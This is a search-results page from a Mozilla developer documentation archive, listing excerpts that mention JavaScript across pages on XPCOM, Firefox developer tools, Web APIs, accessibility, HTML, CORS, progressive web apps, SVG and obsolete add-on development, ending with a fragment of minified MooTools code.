js_threadsafe was a compile-time option that enables support for running multiple threads of javascript code concurrently as long as no objects or strings are shared between them.
...each thread that uses the javascript engine must essentially operate in a totally separate region of memory.
...in js_threadsafe builds, the javascript engine calls this callback only from within an active request on cx.
...And 2 more matches
Starting WebLock
the weblock user interface the weblock component in this tutorial uses xul to define the additional browser ui in a cross-platform way, and xul uses javascript to access and control xpcom components, but gecko's pluggable ui allows any user interface to call into gecko and the components you create as easily as you can from xul.
... see xul for a discussion of how xul interacts with javascript and xpcom.
...once the interface has been described in the xpidl language, the interface file can be used to generate the header files needed for the implementation code, the binary type library files that let you use the interface of the weblock component from javascript, and even broken linkjavadoc style html documentation.
...And 2 more matches
XPCOM Stream Guide
MozillaTechXPCOMGuideStreams
using streams in c++ using streams in javascript input streams input streams are not scriptable - you cannot directly call .read() on them, for example.
... this is also a synchronous (blocking) operation, so if you're in javascript, consider using netutil.jsm as described below.
... however, javascript strings contain 16-bit characters.
...And 2 more matches
Components.returnCode
usage components.returncode is a property that can be used to indicate to an xpcom caller of the javascript method that the method is returning a specific nsresult code.
... generally, xpconnect does a fine job of making it unnecessary for javascript code to worry about nsresult codes.
... by default the successful completion of the javascript method will cause xpconnect to return a result code of ns_ok to the caller.
...And 2 more matches
XPCShell Reference
-i this option turns on the "interactive" mode -s this option toggles the javascript strict option on and off.
...for instance, specifying -v 180 will set the interpreter to use javascript version 1.8.
... -w (lower case) this option turns on javascript warnings.
...And 2 more matches
xpcshell
xpcshell is an xpconnect-enabled javascript shell.
... it is a console application that lets you run javascript code.
...it should be executed under the window command prompt source_directory/obj-xxxxx/dist/bin> xpcshell.exe using the latest version of javascript at present, xpcshell doesn't use the latest version of javascript, so newer language features, such as the let statement introduced in javascript 1.7, are not available.
...And 2 more matches
nsIDOMWindow
this attribute is "replaceable" in javascript.
...this attribute is "replaceable" in javascript.
...this attribute is "replaceable" in javascript.
...And 2 more matches
nsIDOMWindowUtils
this is more useful for javascript in chrome.
...this is more useful for javascript in chrome selection_set_flag_reverse 0x0002 one of values of aadditionalflags of sendselectionsetevent().
... void setresolution( in float axresolution, in float ayresolution ); parameters axresolution ayresolution startpccountprofiling() begins detailed profiling of all executed javascript code in the browser.
...And 2 more matches
nsISessionStore
if the previously saved value was originally a complex data (ie a javascript object) it can then be deserialized using json.parse cf.
... if the previously saved value was originally a complex data (ie a javascript object) it can then be deserialized using json.parse cf.
... astringvalue a string to set as the value for the key akey.to assign more complex data (ie javascript objects) serialize them using json.stringify.
...And 2 more matches
CData
value object the javascript equivalent of the cdata object's value.
... tosource() returns the string "t(arg)", where t and arg are implementation-defined javascript expressions intended to represent the type of the cdata object and its value, respectively.
... in theory, in other words, the following javascript expression should return a copy of the original cdata object: eval(dataobject.tosource()); tostring() returns a string identifying the data.
...And 2 more matches
Aggregate view - Firefox Developer Tools
type this is the default view, which looks something like this: it groups the things on the heap into types, including: javascript objects: such as function or array dom elements: such as htmlspanelement or window strings: listed as "strings" javascript sources: listed as "jsscript" internal objects: such as "js::shape".
...for example, in the screenshot above you can see that javascript objects account for most memory, followed by strings.
...this is because not all heap usage results from your javascript.
...And 2 more matches
Performance - Firefox Developer Tools
the performance tool gives you insight into your site's general responsiveness, javascript and layout performance.
... you get four sub-tools to examine aspects of the profile in more detail: the waterfall shows the different operations the browser was performing, such as executing layout, javascript, repaints, and garbage collection the call tree shows the javascript functions in which the browser spent most of its time the flame chart shows the javascript call stack over the course of the recording the allocations view shows the heap allocations made by your code over the course of the recording.
... call tree find bottlenecks in your site's javascript.
...And 2 more matches
Web Console remoting - Firefox Developer Tools
the pageerror packet is: { "from": "conn0.console9", "type": "pageerror", "pageerror": { "errormessage": "referenceerror: foo is not defined", "sourcename": "http://localhost/~mihai/mozilla/test.js", "linetext": "", "linenumber": 6, "columnnumber": 0, "category": "content javascript", "timestamp": 1347294508210, "error": false, "warning": false, "exception": true, "strict": false, "private": false, } } the packet is similar to nsiscripterror - for simplicity.
... we use the objectactor from dbg-script-actors.js without a threadactor, to avoid slowing down the page scripts - the debugger deoptimizes javascript execution in the target page.
... prior to firefox 23 we used a different actor (webconsoleobjectactor) for working with javascript objects through the protocol.
...And 2 more matches
Firefox Developer Tools
you can use them to examine, edit, and debug html, css, and javascript.
... web console see messages logged by a web page and interact with the page using javascript.
... javascript debugger stop, step through, examine, and modify the javascript running in a page.
...And 2 more matches
Binary strings - Web APIs
WebAPIDOMStringBinary
javascript strings are utf-16 encoded strings.
...the size of the data so represented is twice as big as it would be in normal binary format, however this will not be visible to the final user, since the length of javascript strings is calculated using two bytes as the unit.
... binary strings are not part of the javascript language design.
...And 2 more matches
Using IndexedDB - Web APIs
yes no this object store can only hold javascript objects.
... yes yes this object store can only hold javascript objects.
...achieving proper international sorting therefore required the entire dataset to be called into memory, and sorting to be performed by client-side javascript, which is not very efficient.
...And 2 more matches
A basic 2D WebGL animation example - Web APIs
the rotated position of the vertex is computed by applying the rotation vector, found in the uniform urotationvector, that's been computed by the javascript code.
... then the final position is computed by multiplying the rotated position by the scaling vector provided by the javascript code in uscalingfactor.
...then we set the global gl_fragcolor to the value of the uniform uglobalcolor, which is set by the javascript code to the color being used to draw the square.
...And 2 more matches
Boilerplate 1 - Web APIs
« previousnext » this example describes repeated pieces of code that will be hidden from now on, as well as defining a javascript utility function to make webgl initialization easier.
... boilerplate code for setting up webgl rendering context by now you are quite used to seeing the same pieces of html, css, and javascript repeated again and again.
... in following examples, we will use a javascript helper function, getrenderingcontext(), to initialize the webgl rendering context.
...And 2 more matches
Background audio processing using AudioWorklet - Web APIs
when the web audio api was first introduced to browsers, it included the ability to use javascript code to create custom audio processors that would be invoked to perform real-time audio manipulations.
...calling addmodule() loads the specified javascript file, which should contain the implementation of the audio processor.
... the process of creating an audio processor using javascript, establishing it as an audio worklet processor, and then using that processor within a web audio application is the topic of this article.
...And 2 more matches
ARIA live regions - Accessibility
using javascript, it is possible to dynamically change parts of a page without requiring the entire page to reload — for instance, to update a list of search results on the fly, or to display a discreet alert or notification which does not require user interaction.
... including an aria-live attribute or a specialized live region role (such as role="alert") on the element you want to announce changes to works as long as you add the attribute before the changes occur — either in the original markup, or dynamically using javascript.
...rs</option> </select> <button id="renderplanetinfobutton">go</button> </fieldset> <div role="region" id="planetinfo" aria-live="polite"> <h2 id="planettitle">no planet selected</h2> <p id="planetdescription">select a planet to view its description</p> </div> <p><small>information courtesy <a href="https://en.wikipedia.org/wiki/solar_system#inner_solar_system">wikipedia</a></small></p> javascript const planets_info = { mercury: { title: 'mercury', description: 'mercury is the smallest and innermost planet in the solar system.
...And 2 more matches
ARIA: checkbox role - Accessibility
instead use the native html checkbox of <input type="checkbox">, which natively provides all the functionality required: <input type="checkbox" id="chk1-label"> <label for="chk1-label">remember my preferences</label> description the native html checkbox form control can only have two checked states ("checked" or "not checked"), with an indeterminate state settable via javascript.
... keyboard interactions key function space activates the checkbox required javascript required event handlers onclick handle mouse clicks that will change the state of the checkbox by changing the value of the aria-checked attribute and the appearance of the checkbox so it appears checked or unchecked to the sighted user onkeypress handle the case where the user presses the space key to change the state of the checkbox by changing the value of the aria-checked attribute and...
... the appearance of the checkbox so it appears checked or unchecked to the sighted user examples the following example creates a simple checkbox element using css and javascript to handle the checked or unchecked status of the element.
...And 2 more matches
An overview of accessible web applications and widgets - Accessibility
most javascript libraries offer a library of client-side widgets that mimic the behavior of familiar desktop interfaces.
... sliders, menu bars, file list views, and more can be built with a combination of javascript, css, and html.
...attribute-based selector for indicating state div.tooltip[aria-hidden="true"] { display: none; } the javascript to update the aria-hidden property has the form shown in example 2c.
...And 2 more matches
Detecting CSS animation support - CSS: Cascading Style Sheets
however, there are likely to be times when this feature isn't available, and you may wish to handle that case by using javascript code to simulate a similar effect.
... if( animation === false ) { // animate in javascript fallback } else { elem.style[ animationstring ] = 'rotate 1s linear infinite'; var keyframes = '@' + keyframeprefix + 'keyframes rotate { '+ 'from {' + keyframeprefix + 'transform:rotate( 0deg ) }'+ 'to {' + keyframeprefix + 'transform:rotate( 360deg ) }'+ '}'; if( document.stylesheets && document.stylesheets.length ) { doc...
...ument.stylesheets[0].insertrule( keyframes, 0 ); } else { var s = document.createelement( 'style' ); s.innerhtml = keyframes; document.getelementsbytagname( 'head' )[ 0 ].appendchild( s ); } } this code looks at the value of animation; if it's false, we know we need to use our javascript fallback code to perform our animation.
...And 2 more matches
Cross-browser audio basics - Developer guides
manipulating the audio element with javascript in addition to being able to specify various attributes in html, the <audio> element comes complete with several properties and methods that you can manipulate via javascript.
... // set the volume at 50% myaudio.volume = 0.5; creating your own custom audio player the javascript media api allows you to create your own custom player.
...we can combine html and javascript to create a very simple player with a play and a pause button.
...And 2 more matches
Audio and video manipulation - Developer guides
can set up our video player and <canvas> element like this: <video id="my-video" controls="true" width="480" height="270" crossorigin="anonymous"> <source src="https://udn.realityripple.com/samples/5b/8cd6da9c65.webm" type="video/webm"> <source src="https://udn.realityripple.com/samples/6f/08625b424a.m4v" type="video/mp4"> </video> <canvas id="my-canvas" width="480" height="270"></canvas> javascript this code handles altering the frames.
... html <video id="my-video" controls src="https://udn.realityripple.com/samples/6f/08625b424a.m4v"> </video> javascript var myvideo = document.getelementbyid('my-video'); myvideo.playbackrate = 2; playable code <video id="my-video" controls="true" width="480" height="270"> <source src="https://udn.realityripple.com/samples/5b/8cd6da9c65.webm" type="video/webm"> <source src="https://udn.realityripple.com/samples/6f/08625b424a.m4v" type="video/mp4"> </video> <div class="playable-buttons"> <input id="edit" ...
... html <video id="my-video" controls src="myvideo.mp4" type="video/mp4"> </video> javascript var context = new audiocontext(), audiosource = context.createmediaelementsource(document.getelementbyid("my-video")), filter = context.createbiquadfilter(); audiosource.connect(filter); filter.connect(context.destination); // configure filter filter.type = "lowshelf"; filter.frequency.value = 1000; filter.gain.value = 25; playable code <video id="my-video" controls="true" width="480...
...And 2 more matches
<input type="checkbox"> - HTML: Hypertext Markup Language
WebHTMLElementinputcheckbox
if you wanted to submit a default value for the checkbox when it is unchecked, you could include an <input type="hidden"> inside the form with the same name and value, generated by javascript perhaps.
...this is set using the htmlinputelement object's indeterminate property via javascript (it cannot be set using an html attribute): inputinstance.indeterminate = true; a checkbox in the indeterminate state has a horizontal line in the box (it looks somewhat like a hyphen or minus sign) instead of a check/tick in most browsers.
...when you check or uncheck an ingredient's checkbox, a javascript function checks the total number of checked ingredients: if none are checked, the recipe name's checkbox is set to unchecked.
...And 2 more matches
<template>: The Content Template element - HTML: Hypertext Markup Language
WebHTMLElementtemplate
the html content template (<template>) element is a mechanism for holding html that is not to be rendered immediately when a page is loaded but may be instantiated subsequently during runtime using javascript.
... <table id="producttable"> <thead> <tr> <td>upc_code</td> <td>product_name</td> </tr> </thead> <tbody> <!-- existing data could optionally be included here --> </tbody> </table> <template id="productrow"> <tr> <td class="record"></td> <td></td> </tr> </template> first, we have a table into which we will later insert content using javascript code.
... now that the table has been created and the template defined, we use javascript to insert rows into the table, with each row being constructed using the template as its basis.
...And 2 more matches
Preloading content with rel="preload" - HTML: Hypertext Markup Language
css example source, and also live): <head> <meta charset="utf-8"> <title>js and css preload example</title> <link rel="preload" href="style.css" as="style"> <link rel="preload" href="main.js" as="script"> <link rel="stylesheet" href="style.css"> </head> <body> <h1>bouncing balls</h1> <canvas></canvas> <script src="main.js" defer></script> </body> here we preload our css and javascript files so they will be available as soon as they are required for the rendering of the page later on.
... resources that javascript can request, like json, imported scripts, or web workers.
... script: javascript file.
...And 2 more matches
Cross-Origin Resource Sharing (CORS) - HTTP
WebHTTPCORS
an example of a cross-origin request: the front-end javascript code served from https://domain-a.com uses xmlhttprequest to make a request for https://domain-b.com/data.json.
... cors failures result in errors, but for security reasons, specifics about the error are not available to javascript.
...code of this sort might be used in javascript deployed on foo.example: const xhr = new xmlhttprequest(); const url = 'https://bar.other/resources/public-data/'; xhr.open('get', url); xhr.onreadystatechange = somehandler; xhr.send(); this performs a simple exchange between the client and the server, using cors headers to handle the privileges: let's look at what the browser will send to the server in this case, and let's see how the se...
...And 2 more matches
Progressive web app structure - Progressive web apps (PWAs)
to have the javascript "operational", however, it has to be downloaded in its entirety.
.../ content inserted in here </section> </main> <footer> <p>© js13kgames 2012-2018, created and maintained by <a href="http://end3r.com">andrzej mazur</a> from <a href="http://enclavegames.com">enclave games</a>.</p> </footer> </body> </html> the <head> section contains some basic info like title, description and links to css, web manifest, games content js file, and app.js — that's where our javascript application is initialized.
... the main app javascript the app.js file does a few things we will look into closely in the next articles.
...And 2 more matches
Mobile first - Progressive web apps (PWAs)
selectively include javascript libraries according to media query and feature tests (require.js is built in, which is helpful and very easy to use.) html structure for this example app, the html structure is going to be very simple: i am just including a heading, navigation menu and filler text to highlight the fact that articles can get very long on narrow screen devices.
... feature detection feature detection involves doing tests (usually in javascript) to determine whether a browser supports a certain feature, and then serving css or javascript to suit that situation.
... i put modernizr inside my js/lib directory, then included it by putting the following construct inside my html file: <script type="text/javascript" src="js/lib/modernizr.js"></script> with modernizr in place, we can now use the following js block to test whether media queries are supported, and if not, to load in respond.js, scott jehl's matchmedia and media query polyfill.
...And 2 more matches
The building blocks of responsive design - Progressive web apps (PWAs)
what's more relevant to this article is that we didn't want the brick css and javascript files being applied to the markup unless we were looking at the mobile app view.
...moving on to the javascript, <script> elements don't accept media attributes, so i had to do this a different way.
... fortunately there is a javascript construct called window.matchmedia(), which can conditionally run javascript constructs depending on whether a media query returns true or not.
...And 2 more matches
Structural overview of progressive web apps - Progressive web apps (PWAs)
to have the javascript actually work, however, it has to be downloaded in its entirety.
... </section> </main> <footer> <p>© js13kgames 2012-2018, created and maintained by <a href="http://end3r.com"> andrzej mazur</a> from <a href="http://enclavegames.com">enclave games</a>.</p> </footer> </body> </html> the <head> section contains basic information about the app, including its title, description, and the needed references to its css file, web manifest, the main application javascript file (app.js, in which the app is initialized) as well as an additional javascript code file.
... app.js: the main app javascript the file app.js is run when the app is first loaded; its job is primarily to initialize the app, though it c can do other things as well.
...And 2 more matches
Example - SVG: Scalable Vector Graphics
in this example, we use xhtml, svg, javascript, and the dom to animate a swarm of "motes".
...this is done completely in w3c standards–xhtml, svg, and javascript–no flash or any vendor-specific extensions.
... </p> <p> this is done completely in w3c standards–xhtml, svg and javascript–no flash or any vendor specific extensions. currently, this will work in mozilla firefox version 1.5 and above.
...And 2 more matches
SVG: Scalable Vector Graphics
WebSVG
as such, it's a text-based, open web standard for describing images that can be rendered cleanly at any size and are designed specifically to work well with other web standards including css, dom, javascript, and smil.
... svg dom interface reference details about the svg dom api, for interaction with javascript.
... applying svg effects to html content svg works together with html, css and javascript.
...And 2 more matches
Using templates and slots - Web Components
this element and its contents are not rendered in the dom, but it can still be referenced using javascript.
... let's look at a trivial quick example: <template id="my-paragraph"> <p>my paragraph</p> </template> this won't appear in your page until you grab a reference to it with javascript and then append it to the dom, using something like the following: let template = document.getelementbyid('my-paragraph'); let templatecontent = template.content; document.body.appendchild(templatecontent); although trivial, you can already start to see how this could be useful.
... the following set of code snippets show how to use <slot> together with <template> and some javascript to: create a <element-details> element with named slots in its shadow root design the <element-details> element in such a way that, when used in documents, it is rendered from composing the element’s content together with content from its shadow root—that is, pieces of the element’s content are used to fill in named slots in its shadow root note that it is technically possible to use ...
...And 2 more matches
loader/sandbox - Archive of obsolete content
experimental create javascript sandboxes and execute scripts in them.
...evaluate(scope, 'a ++', 'http://foo.com/bar.js', 2); version of javascript can be also specified via an optional argument: evaluate(scope, 'let b = 2;', 'bar.js', 1, '1.5'); // throws cause `let` is not defined in js 1.5.
... returns sandbox : a sandbox in which you can evaluate and load javascript.
... version : string evaluate the code using this version of javascript.
platform/xpcom - Archive of obsolete content
by subclassing unknown, either using standard javascript inheritance or using the sdk's heritage module, you can provide your own implementations of xpcom interfaces.
... in this example the helloworld component is available to javascript only, so we use the technique documented under the "using wrappedjsobject" section of how to build an xpcom component in javascript.
...it is not intended to be used directly but you can subclass it, either using standard javascript inheritance or using the sdk's heritage module, to create new implementations of xpcom interfaces.
... if the object implements an interface that's already defined in xpcom, you can pass that in here: var about = aboutfactory.createinstance(null, ci.nsiaboutmodule); // you can now access the nsiaboutmodule interface of the 'about' object if you will be getting the wrappedjsobject property from the returned object to access its javascript implementation, pass ci.nsisupports here: var custom = factory.createinstance(null, ci.nsisupports).wrappedjsobject; // you can now access the interface defined for the 'custom' object returns object : the component created by the factory.
Localization - Archive of obsolete content
the sdk supports localization of strings appearing in: your main add-on's javascript code html files packaged with your add-on the title, description and homepage fields of your add-on's metadata the title and description fields of your add-on's preferences.
... now whenever your javascript or html asks the localization system for the translation of the hello_id identifier, it will get the correct translation for the current locale.
...tting its value with l10n-id.attributename in the properties file like: hello_id.accesskey= h the following attributes are supported: accesskey alt label title placeholder further the localization of the aria attributes aria-label, aria-valuetext and aria-moz-hint are supported with the same aliases as on firefox os: arialabel ariavaluetext ariamozhint using localized strings in javascript to reference localized strings from your main add-on code, you do this: var _ = require("sdk/l10n").get; console.log(_("hello_id")); assigning to "_" in particular is not required, but is a convention from the gettext tools and will make it possible to work with existing tools that expect "_" to indicate localizable strings.
... there's no support for content scripts or css files: at the moment, you can only localize strings appearing in javascript files that can require() sdk modules and in html.
Finding window handles - Archive of obsolete content
like this hwnd gethwnd(nsibasewindow *window) { nscomptr< nsiwidget > widget; window->getmainwidget(getter_addrefs(widget)); if (widget) return (hwnd) widget->getnativedata(ns_native_window); } yet another way to find a window handle (parent window handle) this method is for people who want to get the top level window hwnd from the window object in javascript.
...first, in javascript, the code gets the nsibasewindow we want, it's a direct child of the top nsibasewindow.
... os specific examples using javascript (js-ctypes) nsibasewindow -> nativehandle in all of the examples below, the native handle to the most recent navigator:browser is obtained and then it is focused.
...to see the messy code see here: https://gist.github.com/noitidart/60aab0a96f060240614f#file-_ff-addon-snippet-x11_focusmostrecentwindowofpid-js-l354 gdk.close(); x11.close(); see also js-ctypes - how to use c from javascript standard os libraries - specifics of js-ctypes per os ...
HTML to DOM - Archive of obsolete content
it will also remove all javascript, including element attributes that contain javascript.
...ame"); frame.setattribute("name", "sample-frame"); frame.setattribute("type", "content"); frame.setattribute("collapsed", "true"); document.getelementbyid("main-window").appendchild(frame); // or // document.documentelement.appendchild(frame); // set restrictions as needed frame.webnavigation.allowauth = false; frame.webnavigation.allowimages = false; frame.webnavigation.allowjavascript = false; frame.webnavigation.allowmetaredirects = true; frame.webnavigation.allowplugins = false; frame.webnavigation.allowsubframes = false; // listen for load frame.addeventlistener("load", function (event) { // the document of the html in the dom var doc = event.originaltarget; // skip blank page or frame if (doc.location.href == "about:blank" || doc.defaultview.frameel...
... as an example, i will show a browser overlay .xul file, and some javascript code to access it.
...="donkey-browser" hidden="false" id="donkey-browser" height="0"/> </vbox> then, in your extension's "load" event handler: onload: function() { donkeybrowser = document.getelementbyid("donkey-browser"); if (donkeybrowser) { donkeybrowser.style.height = "0px"; donkeybrowser.webnavigation.allowauth = true; donkeybrowser.webnavigation.allowimages = false; donkeybrowser.webnavigation.allowjavascript = false; donkeybrowser.webnavigation.allowmetaredirects = true; donkeybrowser.webnavigation.allowplugins = false; donkeybrowser.webnavigation.allowsubframes = false; donkeybrowser.addeventlistener("domcontentloaded", function (e) { donkeyfire.donkeybrowser_onpageload(e); }, true); } with that code, we obtain a reference to the iframe element we declared in the .xul file.
Preferences - Archive of obsolete content
equivalent) where the default values are read from all mozilla-based applications read (application directory)/defaults/preferences/*.js in addition to that, recent versions of toolkit applications (firefox 1.0, thunderbird 1.0, and the like but not the mozilla suite) read extension defaults -- usually located in (profile folder)/extensions/(id)/defaults/preferences/ these files use simple javascript-like syntax.
... to asubject) switch (adata) { case "pref1": // extensions.myextension.pref1 was changed break; case "pref2": // extensions.myextension.pref2 was changed break; } } } myprefobserver.register(); and next, here is a more evolved version of the previous code better fit for code reuse both within a project and across projects (for example, using javascript code modules): /** * @constructor * * @param {string} branch_name * @param {function} callback must have the following arguments: * branch, pref_leaf_name */ function preflistener(branch_name, callback) { // keeping a reference to the observed preference branch or it will get // garbage collected.
... javascript wrappers for preferences system there are a few javascript wrappers to make your life easier: http://mozilla.doslash.org/prefutils chrome://global/content/nsusersettings.js https://wiki.mozilla.org/labs/js_modules how to save preferences to save preferences into the default location: var prefservice = components.classes["@mozilla.org/preferences-service;1"] ...
...ces (these are frozen and will not change): nsiprefbranch and nsiprefservice nsiprefbranch2 interface (before gecko 1.8 it was called nsiprefbranchinternal) preferences system - an easy way to create a xul options window for your extension or application syncing preferences across clients using sync lxr pages for libpref, the source code module that implements the preferences system a javascript wrapper for preferences api adding preferences to an extension — a simple tutorial with a working extension that illustrates the use of preference observers inline options - how to use the new preference ui that appears inline in the add-on manager window starting in firefox 7 .
Code snippets - Archive of obsolete content
xml file i/o code used to read, write and process files drag & drop code used to setup and handle drag and drop events dialogs code used to display and process dialog boxes alerts and notifications modal and non-modal ways to notify users preferences code used to read, write, and modify preferences js xpcom code used to define and call xpcom components in javascript running applications code used to run other applications <canvas> related what wg canvas-related code signing a xpi how to sign an xpi with pki delayed execution performing background operations.
... miscellaneous miscellaneous useful code fragments html to dom using a hidden browser element to parse html to a window's dom javascript libraries here are some javascript libraries that may come in handy.
... stringview a library that implements a stringview view for javascript typed arrays.
... downloading files code to download files, images, and to monitor download progress password manager code used to read and write passwords to/from the integrated password manager bookmarks code used to read and write bookmarks javascript debugger service code used to interact with the javascript debugger service svg general general information and utilities svg animation animate svg using javascript and smil svg interacting with script using javascript and dom events to create interactive svg embedding svg in html and xul using svg to enhance html or xul based markup xul widgets html in xul for rich tooltips dy...
How to convert an overlay extension to restartless - Archive of obsolete content
step 1: use services.jsm if you load one of mozilla's internal jsm files, for example services.jsm, you'll do so via privileged javascript code like this: components.utils.import("resource://gre/modules/services.jsm"); from here on out, it is assumed you've imported services.jsm somewhere at the top of whatever file you're in and will be using it in all code examples.
...the new way to do this is to use javascript typed arrays.
...you'd think such an important new javascript feature made available for web content and chrome alike would at least have a way to set and keep track of endianness, but no, it doesn't.
...think of it as main.c, but for javascript based firefox restartless add-ons.
Jetpack Processes - Archive of obsolete content
createsandbox() this creates a new javascript sandbox and returns its global scope.
... this global scope does not contain privileged apis, or any non-standard javascript objects for that matter, though new globals can be endowed by simply attaching them to the global scope as properties.
...at minimum, javascript 1.8.1 is used.
...by default, a handle is rooted in the javascript interpreter's garbage collector, meaning that even if a process throws it away, it will not be garbage collected unless the other process explicitly does something to indicate that it is no longer needed.
Chapter 3: Introduction to XUL—How to build a more intuitive UI - Archive of obsolete content
id is used to define a unique name for an element, and class is used to classify elements; both of these provide convenient ways to refer to elements in css and javascript.
...in the past, a combination of html and javascript was used to produce this sort of complex ui structure, but in xul, it can be handled easily just by writing tags.
... special elements embedding images in addition to writing direct javascript code in event handlers, xul also allows you to embed scripts using a script element, just like in html; this can be used to read in an external script or to place the code in the script element's content.
... <script type="application/javascript"><![cdata[ var nodes = gbrowser.mtabcontainer.childnodes; for (var i = 0; i < nodes.length; i++) alert(nodes[i].label); ]]></script> listing 18: embedding a script in xul note: although embedding javascript is permitted, it's generally encouraged that you instead place your javascript code in an external file.
Appendix C: Avoiding using eval in Add-ons - Archive of obsolete content
this article is aimed at presenting alternatives to common eval uses in add-ons and other javascript code.
... note: do not use json parsers implemented in javascript.
... var response = xhr.responsetext; settimeout(function() { alert(response); }, 100); } alternative: use function.bind() introduced in javascript 1.8.5 function.bind is a new utility function that you may use to (partially) bind parameters to functions.
... accessing properties via computed names not that common anymore, but still existing, are add-ons or other javascript programs that access object properties using eval when the property name is not a literal, but computed on the fly.
XPCOM Objects - Archive of obsolete content
on top of it lies the chrome, mostly written in xml, javascript and css.
...in general, you can rely on javascript's ability to transform values to the correct type, but it's usually best to pass the right type in the first place.
... floating point float boolean boolean, prbool void void timestamps prtime this type is used to pass timestamps measured in milliseconds, such as the output of the gettime() method in a javascript date object.
... creating your own components javascript xpcom components as we've said before, we recommend using jsm whenever you can.
Performance best practices in extensions - Archive of obsolete content
use javascript code modules you can create your own javascript code modules incorporating sets of features that are only needed under specific circumstances.
... while javascript modules can be extremely useful, and provide significant performance benefits, they should be used wisely.
... for example, bug 719601 featured a "system principal" javascript compartment containing 100s of mbs of memory, which is much larger than usual.
... lazily load services the xpcomutils javascript module provides two methods for lazily loading things: definelazygetter() defines a function on a specified object that acts as a getter which will be created the first time it's used.
Creating a dynamic status bar extension - Archive of obsolete content
write the xul file we need a slightly more complicated xul file this time, in order to add a reference to the javascript code that will do the real work: <?xml version="1.0" encoding="utf-8"?> <!doctype overlay> <overlay id="stockwatcher-overlay" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <script type="application/javascript" src="chrome://stockwatcher/content/stockwatcher.js"/> <!-- firefox --> <statusbar id="status-bar"> <statusbarpanel id="stockwatcher" label="loading..."...
... tooltiptext="current value" onclick="stockwatcher.refreshinformation()" /> </statusbar> </overlay> also, notice that the definition of the status bar panel now includes a new property, onclick, which references the javascript function that will be executed whenever the user clicks on the status bar panel.
...write the javascript code the work of fetching the stock quote and updating the status bar panel's display is handled by the javascript code in the file stockwatcher.js.
...due to the way javascript works, if inforeceived() were outside refreshinformation(), it would not have access to the same variable scope.
Making it into a static overlay - Archive of obsolete content
the packages are just standard zip archives of the files to be installed along with a javascript script that performs the installation and some rdf files that describe the components being installed for the chrome registry.
...static overlays are added to a xul file via a reference at the top of the file (much like stylesheets and javascript scripts).
...nto a static overlay, we need to move all the code we added to navigator.xul into a new file tinderstatusoverlay.xul in the same directory: <?xml version="1.0"?> <?xml-stylesheet href="chrome://navigator/content/tinderstatus.css" type="text/css"?> <overlay id="tinderstatusoverlay" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <script type="application/javascript" src="chrome://navigator/content/tinderstatus.js" /> <statusbar id="status-bar"> <statusbarpanel class="statusbarpanel-iconic" id="tinderbox-status" insertbefore="offline-status" status="none"/> </statusbar> </overlay> tinderstatusoverlay.xul starts with an xml processing instruction that identifies the file as xml (all xul files need to include this).
... <!-- navigator --> <script type="application/javascript" src="chrome://navigator/content/browser.js"/> <script type="application/javascript" src="chrome://navigator/content/navigator.js"/> <script type="application/javascript" src="chrome://navigator/content/navigatordd.js"/> <script type="application/javascript" src="chrome://navigator/content/sessionhistoryui.js"/> <script type="application/javascript" src="c...
Simple Storage - Archive of obsolete content
jetpack.storage.simple is a single, persistent javascript object private to each jetpack.
... for the most part this object is like any other javascript object, and a jetpack can set whatever properties it wants on it.
... to manipulate its persistent data, a jetpack therefore need only use the various standard javascript functions and operators.
...note that these examples create a mystorage variable to emphasize the fact that jetpack.storage.simple is just a normal javascript object.
Simple Storage - Archive of obsolete content
jetpack.storage.simple is a single, persistent javascript object private to each jetpack.
... for the most part this object is like any other javascript object, and a jetpack can set whatever properties it wants on it.
... to manipulate its persistent data, a jetpack therefore need only use the various standard javascript functions and operators.
...note that these examples create a mystorage variable to emphasize the fact that jetpack.storage.simple is just a normal javascript object.
jspage - Archive of obsolete content
gator.plugins["shockwave flash"].description; },function(){return new activexobject("shockwaveflash.shockwaveflash").getvariable("$version");})||"0 r0").match(/\d+/g);return{version:parseint(a[0]||0+"."+a[1],10)||0,build:parseint(a[2],10)||0}; })();function $exec(b){if(!b){return b;}if(window.execscript){window.execscript(b);}else{var a=document.createelement("script");a.setattribute("type","text/javascript"); a[(browser.engine.webkit&&browser.engine.version<420)?"innertext":"text"]=b;document.head.appendchild(a);document.head.removechild(a);}return b;}native.uid=1; var $uid=(browser.engine.trident)?function(a){return(a.uid||(a.uid=[native.uid++]))[0];}:function(a){return a.uid||(a.uid=native.uid++);};var window=new native({name:"window",legacy:(browser.engine.trident)?null:window.window,initialize:...
...irstchild;},replaces:function(a){a=document.id(a,true);a.parentnode.replacechild(this.toelement(),a); return this;},inject:function(a){document.id(a,true).appendchild(this.toelement());return this;},remote:function(){return swiff.remote.apply(swiff,[this.toelement()].extend(arguments)); }});swiff.callbacks={};swiff.remote=function(obj,fn){var rs=obj.callfunction('<invoke name="'+fn+'" returntype="javascript">'+__flash__argumentstoxml(arguments,2)+"</invoke>"); return eval(rs);};var fx=new class({implements:[chain,events,options],options:{fps:50,unit:false,duration:500,link:"ignore"},initialize:function(a){this.subject=this.subject||this; this.setoptions(a);this.options.duration=fx.durations[this.options.duration]||this.options.duration.toint();var b=this.options.wait;if(b===false){this.options.link=...
...ow((11-6*d-11*f)/4,2); break;}}return e;},elastic:function(b,a){return math.pow(2,10*--b)*math.cos(20*b*math.pi*(a[0]||1)/3);}});["quad","cubic","quart","quint"].each(function(b,a){fx.transitions[b]=new fx.transition(function(c){return math.pow(c,[a+2]); });});var request=new class({implements:[chain,events,options],options:{url:"",data:"",headers:{"x-requested-with":"xmlhttprequest",accept:"text/javascript, text/html, application/xml, text/xml, */*"},async:true,format:false,method:"post",link:"ignore",issuccess:null,emulation:true,urlencoded:true,encoding:"utf-8",evalscripts:false,evalresponse:false,nocache:false},initialize:function(a){this.xhr=new browser.request(); this.setoptions(a);this.options.issuccess=this.options.issuccess||this.issuccess;this.headers=new hash(this.options.headers);},onsta...
